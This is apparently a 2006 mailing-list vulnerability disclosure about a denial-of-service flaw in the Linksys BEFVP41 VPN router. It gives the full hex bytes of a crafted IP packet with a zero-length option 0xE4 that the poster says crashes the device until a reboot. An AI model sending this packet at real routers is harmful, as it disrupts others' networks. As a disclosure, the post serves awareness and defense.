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Linksys VPN Router (BEFVP41) DoS Vulnerability
paul14075
gmail.com
Date: Fri Jan 13 2006 - 00:17:45 CST
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Linksys BEFVP41 (possibly others) (not sure which firmware) can be instantenously crashed by sending a specially crafted IP packet with a null length for IP option #0xE4 , like this one:
00 0f 66 99 a3 45 00 10 5a cc 59 84 08 00 46 00
00 2c 04 d2 00 00 ff aa 06 2a c0 a8 01 65 43 08
c6 15 e4 00 00 00 41 42 43 44 45 46 47 48 49 4a
4b 4c 4d 4e 4f 50 52 53 54 55
I tried from within LAN-side of the router. Did not test WAN-side, but probably still works. Requires a reboot to fix. Found it accidentally while doing nessus scan. (Nessus Referenced BID : 7175, 14536)
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